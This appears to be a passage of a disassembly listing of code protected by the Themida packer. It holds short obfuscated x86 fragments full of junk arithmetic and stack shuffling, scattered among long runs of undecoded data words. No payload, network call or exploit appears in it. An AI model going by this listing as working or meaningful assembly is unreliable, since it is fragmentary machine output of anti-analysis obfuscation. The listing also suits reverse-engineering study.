		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509C53:				; CODE XREF: Themida_:0050D376j
		push	edi
		push	edx
		mov	edi, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_50E969
; ---------------------------------------------------------------------------
		dd 0C9E9D801h, 8100000Bh, 4C3h,	4B95100h, 1000000h, 1C3359CBh
		dd 98E3E924h, 0E4B8FFFFh, 0E9083038h, 0FFFFCF3Eh, 0FD08595Ah
		dd 75C5805Bh, 7AA36866h, 24148966h, 1F65E950h, 0CEB20000h
		dd 0E95AD000h, 0FFFF995Ah, 5C68D4BBh, 4793E912h, 0FE200000h
		dd 8E6C05Bh, 809BCE80h,	0F02822F6h, 0AE9535Ah, 0FF000022h
		dd 0FF042474h, 52582434h, 0C6E9E289h, 57FFFF9Bh, 0F045E0BFh
		dd 46BD556Eh, 811CB977h, 5C70C3EDh, 5DEF0911h, 28F9E781h
		dd 0DAE935C7h, 4000001Dh, 0AB23802Dh, 0C8FEE94Eh, 0C148FFFFh
		dd 0F8E903E8h, 8100004Dh, 0FFFFFFC2h, 67F281FFh, 53678447h
		dd 9B4FF6BBh, 2BC38179h, 0F7370501h, 0A970E9D3h, 0F781FFFFh
		dd 0FC9596Dh, 15FFD31h,	81495DE9h, 4DEFD6E9h, 59CB316Ch
		dd 353CE9h, 24248B00h, 0E968EB80h, 0FFFFCAB1h, 4EC81h
		dd 34890000h, 0E3895324h, 0FFA1DBE9h, 30F181FFh, 0F777411Ah
		dd 12E981D1h, 14FA8F8h,	0EE8159CEh, 6A9A42BDh, 1634B850h
		dd 0A1E931FDh, 83FFFFBFh, 59042404h, 4C181h, 0EC810000h
		dd 4, 0BA241489h, 4, 0FFE3CBE9h, 4193B9FFh, 0C981200Fh
		dd 5F6430C4h, 3878E981h, 0C1814880h, 45102EE1h,	6844F181h
		dd 0C8897BFFh, 58C22959h, 8B241487h, 2C892424h,	55F58924h
		dd 2434FF5Fh, 52242C8Bh, 0C281E289h, 4,	4C281h,	14870000h
		dd 0C4815C24h, 4, 5BDFC781h, 94E91B35h,	80000023h, 0DE008DEEh
		dd 5B8DC680h, 74C680h, 74EE80CEh, 599CEE80h, 0FFEBE8E9h
		dd 81E953FFh, 0F7000017h, 0C18141D9h, 0D4DAC0B9h, 0E959CE89h
		dd 0FFFFDBE5h, 0EC83E689h, 24048904h, 4B8h, 8BC60100h
		dd 0C4832404h, 2C68104h, 87000000h, 0E4E92434h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_509E53:				; CODE XREF: Themida_:00507D88j
		pop	eax
		add	edx, eax
		sub	edx, 67613EE7h
		mov	eax, [esp]
		add	esp, 4
		push	2138h
		mov	[esp], eax
		jmp	loc_5062A9
; ---------------------------------------------------------------------------
		db 87h
		dd 0C7815BDFh, 8C21A6C7h, 0FF9990E9h, 5EF121FFh, 320CE981h
		dd 0EE92000h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_509E8B:				; CODE XREF: Themida_:0050A867j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_50C51A
; ---------------------------------------------------------------------------
		db 81h
		dd 1D112AEEh, 7FE95A6Eh, 0F7FFFFD0h, 0E52E9DDh,	89530000h
		dd 4C381E3h, 83000000h,	96E904EBh, 87FFFFEAh, 0E95C242Ch
		dd 0FFFFC022h, 4C5815Bh, 0E9000000h, 0FFFFB558h
; ---------------------------------------------------------------------------

loc_509EE0:				; CODE XREF: Themida_:00508DD7j
		sub	bl, dl
		pop	edx
		shr	bl, 6
		push	ecx
		mov	cl, 1Fh
		sub	cl, 2
		not	cl
		add	cl, 94h
		jmp	loc_50B02D
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 242C3124h, 5C242C33h, 81240C89h, 4ECh, 24248900h, 0FFFE76E9h
		dd 81EFD1FFh, 161CC9EFh, 0E9DFF777h, 3B41h, 4C4815Bh, 0E9000000h
		dd 0FFFF9907h
; ---------------------------------------------------------------------------

loc_509F2C:				; CODE XREF: Themida_:00507C33j
		pop	ebx
		add	eax, edi
		add	eax, 14345A15h
		push	ebx
		mov	ebx, 78245D81h
		add	ebx, 5A001436h
		xor	ebx, 28094090h
		neg	ebx
		jmp	loc_5091FE
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0F0h
		dd 89000017h, 2BB241Ch,	89000000h, 0ECE8E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509F62:				; CODE XREF: Themida_:0050AE43j
		mov	[esp], eax
		mov	eax, 6D19568Dh
		mov	dword ptr [ecx], 0BE8190FCh
		sub	[ecx], eax
		jmp	loc_506CEE
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFF8E0Dh, 0F741D9F7h, 63E181D9h, 8144072Ch
		dd 1E80CE9h, 59CF31C4h,	48E4EF81h, 0E7C11E0Ah, 4FD7F707h
		dd 1A40EF81h, 0F8897E99h, 51243C8Bh, 0C181E189h, 4, 0E904C183h
		dd 340Dh, 0CE9EB89h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_509FC3:				; CODE XREF: Themida_:005097C4j
		push	eax
		mov	eax, 4
		mov	edi, eax
		jmp	loc_508C30
; ---------------------------------------------------------------------------

loc_509FD0:				; CODE XREF: Themida_:00503777j
		shr	eax, 0Ah
		xor	eax, ecx
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 398665DFh
		shl	edi, 2
		and	edi, 3A576930h
		add	edi, 2F6F7C7Ah
		xor	edi, 51807DAEh
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_50BA3C
; ---------------------------------------------------------------------------
		db 1, 0C8h, 53h
		dd 10943BBh, 0CAEB814Fh, 14D76EEh, 0C8B5BD8h, 3C79E924h
		dd 2C890000h, 67DDBD24h, 0E16861ABh, 5A61AB67h,	15DEA29h
		dd 0FF515AD1h, 59042474h, 0FF8C1FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50A03D:				; CODE XREF: Themida_:0050F0C0j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_505EBF
; ---------------------------------------------------------------------------

loc_50A04E:				; CODE XREF: Themida_:005040E3j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_50D5E9
		push	1158h
		mov	[esp], ecx
		mov	ecx, 7C75432Eh
		jmp	loc_50655A
; ---------------------------------------------------------------------------
		dw 8B5Dh
		dd 0C483242Ch, 4C58104h, 53000000h, 4BBh, 0D0A4E900h, 0E7E9FFFFh
		dd 8BFFFF8Ah, 0C483243Ch, 4C78104h, 83000000h, 0FF5704C7h
		dd 8B042474h, 0C481243Ch, 4, 8B24048Fh,	34FF2424h, 63685824h
		dd 0E900007Ch, 279h, 5966EE28h,	6684B151h, 30CEB753h, 1C8B66F9h
		dd 2C48324h, 0C0F7E953h, 0C501FFFFh, 0FFDC5FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50A0D9:				; CODE XREF: Themida_:00508BBAj
		add	esp, 4
		add	edi, 4
		jmp	loc_505DFE
; ---------------------------------------------------------------------------
		db 81h
		dd 220E85E6h, 0B184E918h, 0EF81FFFFh, 463815D1h, 0AC03E958h
		dd 295EFFFFh, 0F42D5AD0h, 834FEE22h, 2C8904ECh,	9924E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A112:				; CODE XREF: Themida_:0050BD28j
		mov	al, 0B4h
		add	bl, al
		pop	ax
		inc	bl
		add	bl, 4Eh
		push	eax
		mov	ah, 88h
		sub	bl, ah
		pop	eax
		add	dh, bl
		pop	ebx
		and	dh, 7Bh
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 52h
		xor	cl, 0DCh
		dec	cl
		add	cl, 0FFh
		not	cl
		sub	cl, 36h
		add	cl, 93h
		jmp	loc_50A6C5
; ---------------------------------------------------------------------------

loc_50A146:				; CODE XREF: Themida_:005039BEj
		mov	esi, 96D1896Ah
		jmp	loc_50E1BA
; ---------------------------------------------------------------------------
		dd 8002C483h, 0E5C001EDh, 0B6ED8005h, 0E8007404h, 0D02E9h
		dd 4C48100h, 66000000h,	0C166D0F7h, 836604E8h, 0D6E901E8h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50A17B:				; CODE XREF: Themida_:0050779Ej
		push	esi
		jmp	loc_50B9FE
; ---------------------------------------------------------------------------
		db 50h,	51h, 0E9h
		dd 0FFFFFC1Dh, 51595966h, 0C181E189h, 4, 8704E983h, 38E9240Ch
		dd 0FFFFFA5h, 8956C8BEh, 0E95357E6h, 0FFFFA63Ah
; ---------------------------------------------------------------------------

loc_50A1AC:				; CODE XREF: Themida_:005086A5j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	eax, 20D33367h
		jmp	loc_50316B
; ---------------------------------------------------------------------------
		dd 89241C89h, 685256E3h, 73144FA2h, 8124148Bh, 4C4h, 3E2C100h
		dd 3A2BE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50A1E2:				; CODE XREF: Themida_:0050C9C9j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	4A09h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_504BDC
; ---------------------------------------------------------------------------

loc_50A1FE:				; CODE XREF: Themida_:00503FC1j
		add	esi, ebp
		jmp	loc_50F0BA
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 28h
		dd 5F31DE5Bh, 8704C583h, 248B242Ch, 0FF85E924h,	895DFFFFh
		dd 0B8C0E9FBh, 0C581FFFFh, 0AEF8CBFBh, 575DEF89h, 0BEC7E95Dh
		dd 295FFFFFh, 5E042474h, 8124148Bh, 4C4h, 0C5C28100h, 5E033658h
		dd 3558E9h
		db 0
; ---------------------------------------------------------------------------

loc_50A24D:				; CODE XREF: Themida_:00506479j
		push	dword ptr [esp]
		jmp	loc_50D640
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHO		db '$h',7,'o',0
		align 2
		dw 3489h
		dd 51E68924h, 0FF9E07E9h, 243489FFh, 181FE9h
		db 0
; ---------------------------------------------------------------------------

loc_50A271:				; CODE XREF: Themida_:00504DBEj
		not	dword ptr [esp]
		mov	edi, [esp]
		push	eax
		push	esp
		jmp	loc_50308C
; ---------------------------------------------------------------------------
		dw 0F389h
		dd 0ECC7E95Eh, 7968FFFFh, 8900005Ch, 0FD682434h, 89000037h
		dd 0BA68243Ch, 5F46D044h, 241C8757h, 1C87D3F7h,	0EF815F24h
		dd 1, 1829CF81h, 0BB53634Fh, 0F859E3A8h, 505BDF31h, 0C689F889h
		dd 0FF6CE958h, 0E089FFFFh, 7FE268h, 243C8900h, 3CA5E9h
		dd 0CB015D00h, 1CEB8159h, 52767B78h, 731857BAh,	6CE95773h
		dd 50000009h, 0E9241C8Bh, 4B38h
; ---------------------------------------------------------------------------

loc_50A2F4:				; CODE XREF: Themida_:0050CD12j
		push	ecx
		jmp	loc_5082D7
; ---------------------------------------------------------------------------
		dw 8166h
		dd 661985C9h, 140AC181h, 14C3E9h, 56C68900h, 0FFFF75E9h
		dd 16C281FFh, 894BF6C8h, 71685AD6h, 8900001Ah, 8AB9240Ch
		dd 0F75D086Ch, 525341D1h, 0FF8A4AE9h, 243C89FFh, 0E904EC83h
		dd 3C73h, 0F6685D58h, 8900006Ch, 22E92434h, 1FFFF91h, 2434FFFAh
		dd 4C4835Fh, 5C241487h,	0B60FC330h, 8734FFC0h, 0FF8809E9h
		dd 81F301FFh, 8B1BF1C3h, 0DCC38110h, 5E714444h,	3C685751h
		dd 0E9406926h, 0FFFFC28Bh, 89560104h, 4C681E6h,	0E9000000h
		dd 3FDAh, 564532BEh, 4408E96Ch,	0E9530000h, 2702h
; ---------------------------------------------------------------------------

loc_50A3A0:				; CODE XREF: Themida_:0050F269j
		push	edx
		push	ebx
		jmp	loc_505729
; ---------------------------------------------------------------------------
		db 66h
		dd 52240C8Bh, 4FE9E289h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A3B3:				; CODE XREF: Themida_:005074C1j
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 10DF4008h
		add	ecx, edi
		sub	ecx, 10DF4008h
		add	ecx, 6911008h
		push	edx
		mov	edx, 0
		add	edx, ecx
		mov	eax, [edx]
		jmp	loc_50B135
; ---------------------------------------------------------------------------

loc_50A3DC:				; CODE XREF: Themida_:00508EB8j
		push	edx
		mov	edx, 7C2035A6h
		jmp	loc_50A463
; ---------------------------------------------------------------------------
		db 1
		dd 0FF5558C5h, 5D042474h, 5C24048Fh, 9C242CD3h,	0FFF39DE9h
		dd 4FC781FFh, 291E3755h, 4FEF81D7h, 0E91E3755h,	0FFFFAF6Ch
; ---------------------------------------------------------------------------

loc_50A410:				; CODE XREF: Themida_:005092BEj
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 621004AFh
		add	edi, 594B5FA8h
		and	edi, 5BA63BAEh
		dec	edi
		add	edi, 0E4FDDFFFh
		jmp	loc_5076BA
; ---------------------------------------------------------------------------
		dd 0B050C2FEh, 0A495E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A43E:				; CODE XREF: Themida_:00507C8Dj
		xor	[esp], eax
		jmp	loc_50BF45
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 6802C683h, 5D4Eh,	0FFE89BE9h, 5FF901FFh, 45E9C101h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A463:				; CODE XREF: Themida_:0050A3E2j
		xor	[esp+4], edx
		pop	edx
		pop	ecx
		xor	ecx, 7C2035A6h
		pop	ebx
		push	ebx
		mov	ebx, 561C5219h
		jmp	loc_50D326
; ---------------------------------------------------------------------------

loc_50A47B:				; CODE XREF: Themida_:0050F3D1j
		mov	[esp], esi
		sub	dword ptr [esp], 67A2547Dh
		pop	edi
		add	edi, 67A2547Dh
		pop	esi
		mov	eax, edi
		jmp	loc_50A7B2
; ---------------------------------------------------------------------------
		dd 0E2BE565Fh, 5765A968h, 54761BBFh, 0E8C58111h, 296F652Fh
		dd 0E8BF57FDh, 0E96F652Fh, 0FFFFB30Fh, 5C241C87h, 0A0A68h
		dd 241C8900h, 8904EC83h, 4812424h, 424h, 241C8B00h, 0E904C483h
		dd 57h,	8324048Fh, 5D042404h, 0FFF68FE9h, 3E1C1FFh, 0C105E9C1h
		dd 0F18107E9h, 19A35524h, 8159CF89h, 0FA1AF6C7h, 0E9F9290Dh
		dd 0FFFFC939h, 0CFF9E95Fh, 6851FFFFh, 4B72h, 81242489h
		dd 42404h, 52590000h, 0DF537EBAh, 5E2C157h, 7A74C281h
		dd 0AE9534Dh, 52000038h, 0D47210BAh, 8E2C124h, 30DFF281h
		dd 8FE95EF1h, 0BB000029h, 6FC31475h, 3AD1BD55h,	0CD81605Bh
		dd 76701195h, 42E9D5F7h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A55B:				; CODE XREF: Themida_:005063B7j
		pop	ebx
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_50AEDB
; ---------------------------------------------------------------------------
		dd 9C241CF7h, 0FF85E9E9h, 59CE01FFh, 0CDDE9h, 0EC835D00h
		dd 240C8904h, 5DFBBD55h, 0EDC16371h, 81D5F707h,	391D42EDh
		dd 5DE989FFh, 0C4E9CA29h, 0FF00000Eh, 75E92C77h, 89FFFF8Dh
		dd 0E9542414h, 0FFFFBF0Eh, 7347685Ch, 3C890000h, 815F5424h
		dd 4C7h, 4B85000h, 1000000h, 3C8758C7h,	24248B24h, 81240C8Bh
		dd 4ECh, 24348900h, 446068h, 24248900h,	46852h,	61E90000h
		dd 81000029h, 0B823C6E6h, 0B0EE814Eh, 12D0C4Eh,	0EA015EF5h
		dd 2C2835Dh, 0E904EC83h, 26FBh,	0BD665551h, 81666585h
		dd 6631BACDh, 0D5F7664Dh, 0FFC012E9h, 0B7A32DFFh, 0C331211Ah
		dd 0FFB82DE9h, 0E7C158FFh, 70EF8108h, 813730CBh, 5235B7C2h
		dd 9FEA8104h, 29165A61h, 9FC281FAh, 0E9165A61h,	0FFFFE8C4h
		dd 5E9468h, 241C8900h, 504CB151h, 0FFF42AE9h, 34875BFFh
		dd 8DC8E924h, 489FFFFh,	2474FF24h, 185CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50A686:				; CODE XREF: Themida_:00506BB8j
		mov	eax, [esp]
		jmp	loc_5094C1
; ---------------------------------------------------------------------------
		dw 6852h
		dd 7AEA6B92h, 81DAF75Ah, 15946AEAh, 5AD38985h, 875BDA01h
		dd 248B2414h, 0D1C20924h, 39F468E2h, 14890000h,	1BA24h
		dd 0BB530000h, 24h, 0FFDB73E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50A6C5:				; CODE XREF: Themida_:0050A141j
		xor	dh, cl
		pop	ecx
		jmp	loc_50604F
; ---------------------------------------------------------------------------
		db 1, 0D1h, 5Ah
		dd 5C240C87h, 24048B66h, 1C8B5453h, 4C48324h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0C8E92414h, 0E900002Ah
		dd 0FFFF846Eh, 4EC81h, 14890000h, 4EBD5524h, 0BA6FBD5Ch
		dd 0C52BBFAAh, 895DEA29h, 0B8505AD6h, 2C0D5D64h, 0E9FFE883h
		dd 393Ah, 5258EFB8h, 24440152h,	24048B04h, 5B04C483h, 58EFEB81h
		dd 0E95E5252h, 0FFFFE162h, 2055Bh, 4870000h, 24D25C24h
		dd 17E99C24h, 0E9FFFF84h, 0FFFF8412h, 240C8B5Bh, 4C481h
		dd 0C3310000h, 379FE9h,	50685E00h, 89000008h, 58E9242Ch
		dd 5AFFFFDDh, 0FC18E951h, 3C89FFFFh, 3FBCE924h,	0BB530000h
		dd 4, 684FB850h, 0C52905D0h, 0FFA6C0E9h, 81DFF7FFh, 0F7F83DF7h
		dd 48EB81BBh, 1348918h,	0C597E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A7B2:				; CODE XREF: Themida_:0050A48Fj
		pop	edi
		push	2146h
		mov	[esp], edx
		push	ebx
		mov	ebx, 1000000h
		mov	edx, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		push	ecx
		mov	ecx, esp
		jmp	loc_503AC3
; ---------------------------------------------------------------------------

loc_50A7D1:				; CODE XREF: Themida_:00505BF3j
		mov	[esp], ax
		push	ecx
		mov	cl, 62h
		add	cl, 5Fh
		shr	cl, 2
		sub	cl, 6Ch
		inc	cl
		shr	cl, 6
		xor	cl, 8Ch
		mov	al, cl
		pop	ecx
		sub	bl, al
		mov	ax, [esp]
		push	edi
		jmp	loc_50C10C
; ---------------------------------------------------------------------------
		dd 632196BBh, 5BD82927h, 0BD55F001h, 27632196h,	5E5DE801h
		dd 0C61A762Dh, 50535B32h, 863C55B8h, 3E112528h,	24E94AF6h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A823:				; CODE XREF: Themida_:005037F7j
		add	edi, esi
		jmp	loc_505A3D
; ---------------------------------------------------------------------------
		dw 0D189h
		dd 0E924148Bh, 0FFFFBAAEh, 0EFB9E957h, 28FFFFFh, 0FF832DE9h
		dd 0E9E589FFh, 0FFFFE273h, 51240C8Bh, 0C181E189h, 4, 8704C183h
		dd 3BE9240Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_50A85F:				; CODE XREF: Themida_:005058EDj
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		jmp	loc_509E8B
; ---------------------------------------------------------------------------

loc_50A86C:				; CODE XREF: Themida_:005092E7j
		sub	edx, 42B97904h
		or	edx, 2720827h
		not	edx
		inc	edx
		add	edx, 11D11784h
		jmp	loc_506577
; ---------------------------------------------------------------------------
		dw 487h
		dd 89665C24h, 0B3532414h, 281AB263h, 0D5885BDAh, 0CDFE5A66h
		dd 23B35366h, 282CED80h, 3CA2E9DDh, 0C3810000h,	4, 4EB81h
		dd 1C870000h, 24248B24h, 0FFC667E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50A8C1:				; CODE XREF: Themida_:0050448Aj
		pop	esp
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_5070E3
; ---------------------------------------------------------------------------
		dd 895EF089h, 85E958C5h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50A8D7:				; CODE XREF: Themida_:0050C5AAj
		sub	dword ptr [esp], 7F774BB6h
		jmp	loc_503CD1
; ---------------------------------------------------------------------------
		db 55h
		dd 1358ACBDh, 0E9EA31AEh, 1F7Ch, 59CE015Bh, 38A9E9h, 24143100h
		dd 5C241433h, 240CD366h, 8264E99Ch, 8759FFFFh, 248B2404h
		dd 0C8B6624h, 3CC36824h, 0C890000h, 56E18924h, 0C681E689h
		dd 4, 4EE81h, 34330000h, 24343124h, 8B243433h, 4892424h
		dd 2CDFE924h, 27E90000h, 83FFFF82h, 4EE904C4h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A94F:				; CODE XREF: Themida_:0050DC33j
		pop	eax
		push	3FD9h
		jmp	loc_508D0D
; ---------------------------------------------------------------------------
		dw 0FE9h
		dd 55FFFF82h, 235F01BDh, 37C58125h, 81113C56h, 75504AE5h
		dd 0F53DE976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A976:				; CODE XREF: Themida_:0050BEC4j
		or	edi, 40DC6A14h
		push	esi
		mov	esi, 30C0349Dh
		jmp	loc_503791
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C240C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_508A95
; ---------------------------------------------------------------------------
		dd 0BE9C801h, 0BFFFFF9Dh, 46382378h, 8108EFC1h,	700057C7h
		dd 5FFB29EBh, 31E9D989h, 81FFFFFFh, 146BEEEDh, 98ED810Ch
		dd 8157DF7Ah, 3911DBF5h, 88F58117h, 29E99B7Eh, 46ABE9EAh
		dd 34FF0000h, 34E95F24h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50A9E7:				; CODE XREF: Themida_:00507C2Cj
		pop	esp
		add	al, bl
		pop	ebx
		push	eax
		mov	al, 17h
		add	al, 1
		xor	al, 8Ah
		not	al
		sub	al, 0EBh
		sub	bl, al
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ch, 94h
		jmp	loc_50D2AD
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFFAFDDh
; ---------------------------------------------------------------------------

loc_50AA0C:				; CODE XREF: Themida_:00507A93j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_505972
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 8Ch
		dd 9E4D6B8h, 0F3815EF3h, 18AA2774h, 6535E381h, 0DBF75D13h
		dd 19A2F381h, 0EB8150EFh, 56A65CFBh, 685BDE29h,	0BE3h
		dd 0E9240C89h, 0FFFF8A98h, 0C681EE01h, 455E00FDh, 2434875Dh
		dd 0B9C7E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50AA5E:				; CODE XREF: Themida_:00508124j
		push	0FFFFh
		mov	ecx, [esp]
		jmp	loc_5067F1
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFED5EE9h, 4EC81FFh, 0E9000000h, 0FFFF8AAFh
; ---------------------------------------------------------------------------

loc_50AA7C:				; CODE XREF: Themida_:005062AEj
		xor	edx, eax
		jmp	loc_5038A8
; ---------------------------------------------------------------------------
		db 55h
		dd 0DBE0B2BDh, 5DEF01F3h, 39E9FD31h, 89FFFFC7h,	8C37E9E2h
		dd 15CFFFFh, 14335BDAh,	24143124h, 8B241433h, 0BFE92424h
		dd 81FFFF80h, 573363C5h, 8BEB0133h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_504130
; ---------------------------------------------------------------------------

loc_50AAD3:				; CODE XREF: Themida_:0050C7ECj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_50CA3B
		push	33E3h
		mov	[esp], ecx
		mov	ecx, 28h
		sub	esp, 4
		jmp	loc_507496
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4EE81h, 5BE90000h, 83FFFFD7h, 348904ECh, 3859E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50AB1E:				; CODE XREF: Themida_:0050B921j
		pop	eax
		jmp	loc_50DF43
; ---------------------------------------------------------------------------

loc_50AB24:				; CODE XREF: Themida_:0050D822j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		push	esp
		jmp	loc_505D13
; ---------------------------------------------------------------------------

loc_50AB35:				; CODE XREF: Themida_:0050C70Cj
		push	esi
		mov	esi, esp
		push	ecx
		jmp	loc_50F1B6
; ---------------------------------------------------------------------------
		dw 8759h
		dd 0E95C2414h, 42D6h
; ---------------------------------------------------------------------------

loc_50AB48:				; CODE XREF: Themida_:00503DDDj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ebx, edx
		pop	edx
		and	[edi+1Ch], ebx
		pop	ebx
		jmp	loc_509239
; ---------------------------------------------------------------------------

loc_50AB5E:				; CODE XREF: Themida_:00505E9Dj
		add	ebx, ebp
		pop	ebp
		add	ebx, 2
		jmp	loc_50995B
; ---------------------------------------------------------------------------

loc_50AB6C:				; CODE XREF: Themida_:0050D406j
		sub	edx, 0F73E6BC8h
		add	ecx, 69C1378h
		sub	ecx, 4F9950D3h
		sub	ecx, edx
		add	ecx, 4F9950D3h
		jmp	loc_50969B
; ---------------------------------------------------------------------------
		db 83h
		dd 69E904C4h, 2DFFFF8Ch, 8462B3DFh, 0FF244721h,	50582434h
		dd 0BA52E089h, 1E1D3BF4h, 0A05EE94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50ABAE:				; CODE XREF: Themida_:00509B0Aj
		push	ecx
		mov	ecx, 5E035DB8h
		shr	ecx, 3
		not	ecx
		inc	ecx
		or	ecx, 0CE5192Bh
		jmp	loc_50D3A7
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 45EA68h, 24048900h, 85068h, 24248900h, 4240481h
		dd 0FF000000h, 0E9582434h, 43EAh, 8322E951h, 8B66FFFFh
		dd 0C483241Ch, 9686602h, 1489667Ah, 0A8686624h,	1C896606h
		dd 0E57DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50AC0E:				; CODE XREF: Themida_:0050CFBEj
		mov	ecx, 1DBD5EE2h
		shl	ecx, 5
		jmp	loc_503583
; ---------------------------------------------------------------------------
		db 5Ch
		dd offset dword_450050+11F99h
		dd 24148900h, 4B38DEBAh, 0D062BB13h, 0D301F8A2h, 3CEB815Ah
		dd 0E90BEE09h, 0FFFF9D94h, 4BD55h, 6C010000h, 0E95D0424h
		dd 0C22h, 33241431h, 7BE92414h,	0BFFFFF81h, 5CB804EFh
		dd 8FE9DFF7h, 68FFFFABh, 237Fh,	0BE243489h, 4, 348BF501h
		dd 0E2895224h, 6266B850h, 8D2D204Dh, 530C848h, 7A1653F5h
		dd 9B6DCA2Dh, 58C20169h, 4C281h, 14870000h, 0A8685C24h
		dd 89000054h, 74FF242Ch, 2EE90424h, 81000035h, 4C2h, 2E82E900h
		dd 8B660000h, 89522404h, 4C281E2h, 83000000h, 148704EAh
		dd 3A17E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50ACCE:				; CODE XREF: Themida_:0050D7F0j
		mov	eax, esp
		push	edi
		jmp	loc_504D75
; ---------------------------------------------------------------------------
		dw 0AB8h
		dd 8927BF1Bh, 0F28158C2h, 1A781C27h, 0F362EA81h, 0D329049Fh
		dd 87C3815Ah, 2952FA13h, 2C8B5BD8h, 4C48324h, 0FFBE69E9h
		dd 58E328FFh, 0E9EBB551h, 838h,	2132C581h, 0AE9A472h, 0E9FFFFBFh
		dd 0FFFF7E52h
; ---------------------------------------------------------------------------

loc_50AD1C:				; CODE XREF: Themida_:0050DC5Cj
		push	567Eh
		mov	[esp], edx
		jmp	loc_5087AC
; ---------------------------------------------------------------------------
		db 0BEh, 0FBh, 0Ah
		dd 0E9532E88h, 0FFFF97BBh
; ---------------------------------------------------------------------------

loc_50AD34:				; CODE XREF: Themida_:00503C62j
		push	4FD851A4h
		pop	edx
		sub	edx, 1
		jmp	loc_509803
; ---------------------------------------------------------------------------
		db 1, 0F2h, 81h
		dd 9E7142C2h, 0D6BF5769h, 0E9444727h, 0FFFFD8CDh, 0B5E95059h
		dd 33000006h, 33E92414h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50AD67:				; CODE XREF: Themida_:0050F1A4j
		add	esi, 0B3A6FC8Dh
		mov	ebp, esi
		push	dword ptr [esp]
		jmp	loc_505B90
; ---------------------------------------------------------------------------

loc_50AD77:				; CODE XREF: Themida_:00502ED1j
		xchg	esi, [esp]
		pop	esp
		add	ebx, edx
		jmp	loc_503973
